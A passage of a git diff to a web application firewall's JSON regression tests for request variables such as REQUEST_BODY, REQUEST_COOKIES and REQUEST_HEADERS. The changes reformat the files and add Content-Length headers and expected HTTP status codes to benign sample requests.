"body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"my_app.asp\" \\(Variable: REQUEST_BASENAME\\)" + "expected": { + "debug_log": "Target value: \"my_app.asp\" \\(Variable: REQUEST_BASENAME\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REQUEST_BASENAME \"@contains test \" \"id:1,phase:3,pass,t:trim\"" ] diff --git a/test/test-cases/regression/variable-REQUEST_BODY.json b/test/test-cases/regression/variable-REQUEST_BODY.json index 34206c35af..2145294273 100644 --- a/test/test-cases/regression/variable-REQUEST_BODY.json +++ b/test/test-cases/regression/variable-REQUEST_BODY.json @@ -1,59 +1,61 @@ -[ - { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: REQUEST_BODY", - "client":{ - "ip":"200.249.12.31", - "port":123 +[ + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: REQUEST_BODY", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", - "Expect":"100-continue" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "508", + "Content-Type": "multipart/form-data; boundary=------------------------756b6d74fa1a8ee2", + "Expect": "100-continue" }, - "uri":"/", - "method":"POST", - "body":[ - "--------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"name\"", - "", - "test", - "--------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"", - "Content-Type: text/plain", - "", - "This is a very small test file..", - "--------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"", - "Content-Type: text/plain", - "", - "This is another very small test file..", - "--------------------------756b6d74fa1a8ee2--" + "uri": "/", + "method": "POST", + "body": [ + "--------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"name\"\n", + "\n", + "test\n", + "--------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"\n", + "Content-Type: text/plain\n", + "\n", + "This is a very small test file..\n", + "--------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"\n", + "Content-Type: text/plain\n", + "\n", + "This is another very small test file..\n", + "--------------------------756b6d74fa1a8ee2--\n" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"--------------------------756b6d74fa1a8ee2\\x0aContent-Disposition: form-data; na" + "expected": { + "debug_log": "--------------------------756b6d74fa1a8ee2\\x0aContent-Disposition: form-data; na", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRequestBodyAccess On", "SecRule REQUEST_BODY \"@contains small_text_file.txt\" \"id:1,phase:3,pass,t:trim\"" diff --git a/test/test-cases/regression/variable-REQUEST_BODY_LENGTH.json b/test/test-cases/regression/variable-REQUEST_BODY_LENGTH.json index 2515eb55fc..f10973cc15 100644 --- a/test/test-cases/regression/variable-REQUEST_BODY_LENGTH.json +++ b/test/test-cases/regression/variable-REQUEST_BODY_LENGTH.json @@ -1,59 +1,61 @@ -[ - { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: REQUEST_BODY_LENGTH", - "client":{ - "ip":"200.249.12.31", - "port":123 +[ + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: REQUEST_BODY_LENGTH", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", - "Expect":"100-continue" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "508", + "Content-Type": "multipart/form-data; boundary=------------------------756b6d74fa1a8ee2", + "Expect": "100-continue" }, - "uri":"/", - "method":"POST", - "body":[ - "--------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"name\"", - "", - "test", - "--------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"", - "Content-Type: text/plain", - "", - "This is a very small test file..", - "--------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"", - "Content-Type: text/plain", - "", - "This is another very small test file..", - "--------------------------756b6d74fa1a8ee2--" + "uri": "/", + "method": "POST", + "body": [ + "--------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"name\"\n", + "\n", + "test\n", + "--------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"\n", + "Content-Type: text/plain\n", + "\n", + "This is a very small test file..\n", + "--------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"\n", + "Content-Type: text/plain\n", + "\n", + "This is another very small test file..\n", + "--------------------------756b6d74fa1a8ee2--\n" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"508\" \\(Variable: REQUEST_BODY_LENGTH\\)" + "expected": { + "debug_log": "Target value: \"508\" \\(Variable: REQUEST_BODY_LENGTH\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRequestBodyAccess On", "SecRule REQUEST_BODY_LENGTH \"@contains small_text_file.txt\" \"id:1,phase:3,pass,t:trim\"" diff --git a/test/test-cases/regression/variable-REQUEST_COOKIES.json b/test/test-cases/regression/variable-REQUEST_COOKIES.json index f5a9b49b4b..2f7b4320f9 100644 --- a/test/test-cases/regression/variable-REQUEST_COOKIES.json +++ b/test/test-cases/regression/variable-REQUEST_COOKIES.json @@ -1,243 +1,278 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: REQUEST_COOKIES (1/6)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Cookie":"USER_TOKEN=Yes; a=z; t=b" + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: REQUEST_COOKIES (1/6)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Cookie": "USER_TOKEN=Yes; a=z; t=b", + "Content-Length": "0" }, - "uri":"/?key=value&key=other_value", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"Yes\" \\(Variable: REQUEST_COOKIES:USER_TOKEN\\)" + "expected": { + "debug_log": "Target value: \"Yes\" \\(Variable: REQUEST_COOKIES:USER_TOKEN\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REQUEST_COOKIES \"@contains test \" \"id:1,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: REQUEST_COOKIES (2/6)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Cookie":"USER_TOKEN=Yes; a=z; t=b" + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: REQUEST_COOKIES (2/6)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Cookie": "USER_TOKEN=Yes; a=z; t=b", + "Content-Length": "0" }, - "uri":"/?key=value&key=other_value", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"z\" \\(Variable: REQUEST_COOKIES:a\\)" + "expected": { + "debug_log": "Target value: \"z\" \\(Variable: REQUEST_COOKIES:a\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REQUEST_COOKIES \"@contains test \" \"id:1,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: REQUEST_COOKIES (3/6)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Cookie":"USER_TOKEN=Yes; a=z; t=b" + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: REQUEST_COOKIES (3/6)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Cookie": "USER_TOKEN=Yes; a=z; t=b", + "Content-Length": "0" }, - "uri":"/?key=value&key=other_value", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"b\" \\(Variable: REQUEST_COOKIES:t\\)" + "expected": { + "debug_log": "Target value: \"b\" \\(Variable: REQUEST_COOKIES:t\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REQUEST_COOKIES \"@contains test \" \"id:1,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: REQUEST_COOKIES (4/6)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Cookie":"USER_TOKEN=Yes; a=z; t=b; foo= bar" + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: REQUEST_COOKIES (4/6)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Cookie": "USER_TOKEN=Yes; a=z; t=b; foo= bar", + "Content-Length": "0" }, - "uri":"/?key=value&key=other_value", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"bar\"" + "expected": { + "debug_log": "Target value: \"bar\"", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REQUEST_COOKIES \"@contains test \" \"id:1,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: REQUEST_COOKIES (5/6)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Cookie":"USER_TOKEN=Yes; a=z; t=b; foo= bar; = ; = = ; baz=value1=insert here something" + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: REQUEST_COOKIES (5/6)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Cookie": "USER_TOKEN=Yes; a=z; t=b; foo= bar; = ; = = ; baz=value1=insert here something", + "Content-Length": "0" }, - "uri":"/?key=value&key=other_value", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"value1=insert here something\"" + "expected": { + "debug_log": "Target value: \"value1=insert here something\"", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REQUEST_COOKIES \"@contains test \" \"id:1,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: REQUEST_COOKIES (6/6)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Cookie":"aaa=bbb;abc=def " + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: REQUEST_COOKIES (6/6)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Cookie": "aaa=bbb;abc=def ", + "Content-Length": "0" }, - "uri":"/?key=value&key=other_value", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"def\" \\(Variable: REQUEST_COOKIES:abc\\)" + "expected": { + "debug_log": "Target value: \"def\" \\(Variable: REQUEST_COOKIES:abc\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REQUEST_COOKIES:abc \"@rx ^def$\" \"id:1,pass\"" ] } ] - diff --git a/test/test-cases/regression/variable-REQUEST_COOKIES_NAMES.json b/test/test-cases/regression/variable-REQUEST_COOKIES_NAMES.json index 327ad7b996..88772ea694 100644 --- a/test/test-cases/regression/variable-REQUEST_COOKIES_NAMES.json +++ b/test/test-cases/regression/variable-REQUEST_COOKIES_NAMES.json @@ -1,163 +1,186 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: REQUEST_COOKIES_NAMES (1/4)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Cookie":"USER_TOKEN=Yes; a=z; t=b" + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: REQUEST_COOKIES_NAMES (1/4)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Cookie": "USER_TOKEN=Yes; a=z; t=b", + "Content-Length": "0" }, - "uri":"/?key=value&key=other_value", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"USER_TOKEN\" \\(Variable: REQUEST_COOKIES_NAMES:USER_TOKEN\\)" + "expected": { + "debug_log": "Target value: \"USER_TOKEN\" \\(Variable: REQUEST_COOKIES_NAMES:USER_TOKEN\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REQUEST_COOKIES_NAMES \"@contains test \" \"id:1,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: REQUEST_COOKIES_NAMES (2/4)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Cookie":"USER_TOKEN=Yes; a=z; t=b" + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: REQUEST_COOKIES_NAMES (2/4)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Cookie": "USER_TOKEN=Yes; a=z; t=b", + "Content-Length": "0" }, - "uri":"/?key=value&key=other_value", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"a\" \\(Variable: REQUEST_COOKIES_NAMES:a\\)" + "expected": { + "debug_log": "Target value: \"a\" \\(Variable: REQUEST_COOKIES_NAMES:a\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REQUEST_COOKIES_NAMES \"@contains test \" \"id:1,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: REQUEST_COOKIES_NAMES (3/4)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Cookie":"USER_TOKEN=Yes; a=z; t=b" + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: REQUEST_COOKIES_NAMES (3/4)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Cookie": "USER_TOKEN=Yes; a=z; t=b", + "Content-Length": "0" }, - "uri":"/?key=value&key=other_value", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"t\" \\(Variable: REQUEST_COOKIES_NAMES:t\\)" + "expected": { + "debug_log": "Target value: \"t\" \\(Variable: REQUEST_COOKIES_NAMES:t\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REQUEST_COOKIES_NAMES \"@contains test \" \"id:1,pass,t:trim\"" ] }, -{ - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: REQUEST_COOKIES_NAMES (4/4)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Cookie":"USER_TOKEN=Yes; a=z; t=b; foobar" + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: REQUEST_COOKIES_NAMES (4/4)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Cookie": "USER_TOKEN=Yes; a=z; t=b; foobar", + "Content-Length": "0" }, - "uri":"/?key=value&key=other_value", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"foobar\"" + "expected": { + "debug_log": "Target value: \"foobar\"", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REQUEST_COOKIES_NAMES \"@contains foobar \" \"id:1,pass,t:trim\"" ] } ] - diff --git a/test/test-cases/regression/variable-REQUEST_FILENAME.json b/test/test-cases/regression/variable-REQUEST_FILENAME.json index 5a41c29e7d..697a4fa21b 100644 --- a/test/test-cases/regression/variable-REQUEST_FILENAME.json +++ b/test/test-cases/regression/variable-REQUEST_FILENAME.json @@ -1,41 +1,46 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: REQUEST_FILENAME", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: REQUEST_FILENAME", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.11", - "port":80 + "server": { + "ip": "200.249.12.11", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"27", - "Content-Type":"application/x-www-form-urlencoded" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0", + "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/one/two/login.php?key1=value1&key2=v%20a%20l%20u%20e%202", - "method":"GET" + "uri": "/one/two/login.php?key1=value1&key2=v%20a%20l%20u%20e%202", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"/one/two/login.php\" \\(Variable: REQUEST_FILENAME\\)" + "expected": { + "debug_log": "Target value: \"/one/two/login.php\" \\(Variable: REQUEST_FILENAME\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REQUEST_FILENAME \"@contains test \" \"id:1,phase:3,pass,t:trim\"" ] diff --git a/test/test-cases/regression/variable-REQUEST_HEADERS.json b/test/test-cases/regression/variable-REQUEST_HEADERS.json index 3e34bc6de1..473ea23b07 100644 --- a/test/test-cases/regression/variable-REQUEST_HEADERS.json +++ b/test/test-cases/regression/variable-REQUEST_HEADERS.json @@ -1,59 +1,61 @@ -[ - { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: REQUEST_HEADERS", - "client":{ - "ip":"200.249.12.31", - "port":123 +[ + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: REQUEST_HEADERS", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", - "Expect":"100-continue" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "523", + "Content-Type": "multipart/form-data; boundary=------------------------756b6d74fa1a8ee2", + "Expect": "100-continue" }, - "uri":"/", - "method":"POST", - "body":[ - "--------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"name\"", - "", - "test", - "--------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"", - "Content-Type: text/plain", - "", - "This is a very small test file..", - "--------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"", - "Content-Type: text/plain", - "", - "This is another very small test file..", - "--------------------------756b6d74fa1a8ee2--" + "uri": "/", + "method": "POST", + "body": [ + "--------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"name\"\r\n", + "\r\n", + "test\r\n", + "--------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"\r\n", + "Content-Type: text/plain\r\n", + "\r\n", + "This is a very small test file..\r\n", + "--------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"\r\n", + "Content-Type: text/plain\r\n", + "\r\n", + "This is another very small test file..\r\n", + "--------------------------756b6d74fa1a8ee2--\r\n" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"localhost\" \\(Variable: REQUEST_HEADERS:Host\\)" + "expected": { + "debug_log": "Target value: \"localhost\" \\(Variable: REQUEST_HEADERS:Host\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REQUEST_HEADERS \"@contains small_text_file.txt\" \"id:1,phase:3,pass,t:trim\"" ] diff --git a/test/test-cases/regression/variable-REQUEST_HEADERS_NAMES.json b/test/test-cases/regression/variable-REQUEST_HEADERS_NAMES.json index 6239bab324..dc968b65d2 100644 --- a/test/test-cases/regression/variable-REQUEST_HEADERS_NAMES.json +++ b/test/test-cases/regression/variable-REQUEST_HEADERS_NAMES.json 